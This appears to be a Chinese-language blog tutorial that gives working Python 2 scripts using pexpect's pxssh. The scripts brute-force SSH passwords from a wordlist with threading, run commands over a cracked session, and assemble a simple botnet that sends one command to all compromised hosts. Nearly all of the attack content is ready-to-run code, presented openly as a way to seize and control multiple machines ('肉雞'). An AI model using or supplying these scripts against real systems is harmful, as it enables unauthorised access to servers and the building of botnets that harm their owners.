Python指令碼暴力破解SSH口令以及構建僵屍網路(pxssh)
目錄
環境:Kali Linux python 2.7.13
暴力破解SSH口令
Pxssh是pexpect庫的ssh專用指令碼,他能用預先寫好的 login()、logout() 和 prompt() 等函式直接與SSH進行互動 。對於login()函式,如果執行成功則不會丟擲異常,將顯示訊息表示密碼已經找到並把表示密碼已找到的全域性布林值設定為true,如果異常顯示密碼被拒絕則返回即可,如果異常顯示socket為 "read_nonblocking" 則可能是SSH伺服器被大量的連線刷爆了,可以過會兒再試,如果異常顯示pxssh命令提示符提取困難也應該過會兒再試一次。
# -*- coding: utf-8 -*- """ Created on Sat Nov 3 22:01:51 2018 @author: 小謝 """ from pexpect import pxssh import optparse import time from threading import * maxConnection=5 #設定最大連線數 connection_lock=BoundedSemaphore(value=maxConnection) global Found #密碼全域性布林值 Found=False global Fails #失敗的次數 Fails=0 def connect(host,user,password,release): try: s=pxssh.pxssh() #例項化 s.login(host,user,password) #登入 print '[+] Password Found:'+password #如果不丟擲異常,說明密碼正確 Found=True except Exception,e: if 'read_nonblocking' in str(e): #主機被大量的SSH連線刷爆了 Fails+=1 time.sleep(5) connect(host,user,password,False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host,user,password,False) finally: if release: connection_lock.release() #解鎖執行緒 def main(): parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>') parser.add_option('-H',dest='Host',type='string',help='target host') parser.add_option('-F',dest='passwdFile',type='string',help='password file') parser.add_option('-u',dest='user',type='string',help='the user') (options,args)=parser.parse_args() host=options.Host passwdFile=options.passwdFile user=options.user if host==None or passwdFile==None or user==None: print(parser.usage) exit(0) fn=open(passwdFile,'r') #開啟密碼檔案 lines=fn.readlines() for line in lines: if Found: print("[*] Exiting: Password Found") exit(0) if Fails>5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connection_lock.acquire() #鎖定執行緒 password=line.strip("\n") print("[-] Testing:"+str(password)) t=Thread(target=connect,args=(host,user,password,True)) #開啟密碼爆破執行緒 t.start() #啟動執行緒 if __name__=='__main__': main()
但是這個指令碼有一個bug就是,你第一次爆破主機如果有正確密碼則會爆出出來,第二次爆破的話就算是有正確密碼也不會爆破出來。(自己主機沒有這種bug,爆破其他主機會出現這種bug)
SSH遠端執行命令
當我們破解了SSH的口令之後,我們就可以執行命令了。
# -*- coding: utf-8 -*- """ Created on Sat Nov 3 23:37:11 2018 @author: 小謝 """ from pexpect import pxssh def send_command(s,cmd): s.sendline(cmd) #傳送命令給主機 s.prompt() #匹配cmd執行後的下一步操作的命令提示符 print s.before #輸出命令提示符之前的內容 def connect(host,user,password): try: s=pxssh.pxssh() s.login(host,user,password) #登入 return s #返回登入的session except: print '[-] Error Connecting' #登入失敗 exit(0) s=connect('127.0.0.1','root','toor') send_command(s,'uname -r')
這個指令碼也是有這種bug,第一次可以正確執行命令,第二次就算使用者名稱密碼正確,也顯示Error Connecting。 (自己主機沒有這種bug,爆破其他主機會出現這種bug)
構建僵屍網路
既然可以控制一臺,那麼就可以控制多臺,從而可以構建僵屍網路了!
我們建立了一個Client()類,為了構造client物件,需要主機名,使用者名稱以及密碼。同時,這個類還要包含維持與肉雞連線所需的方法:connect() 、send_command() 。Botnet全域性陣列記錄了單個client物件,addClient()方法的輸入是主機名,使用者和密碼並以此例項化一個client物件並將它新增到botnet陣列中。botnetCommand()函式只要一個引數即要釋出的命令,這函式遍歷整個陣列,把命令傳送到botnet陣列中的每個client上。
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小謝
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化物件
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh連線
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #傳送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #例項化物件
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")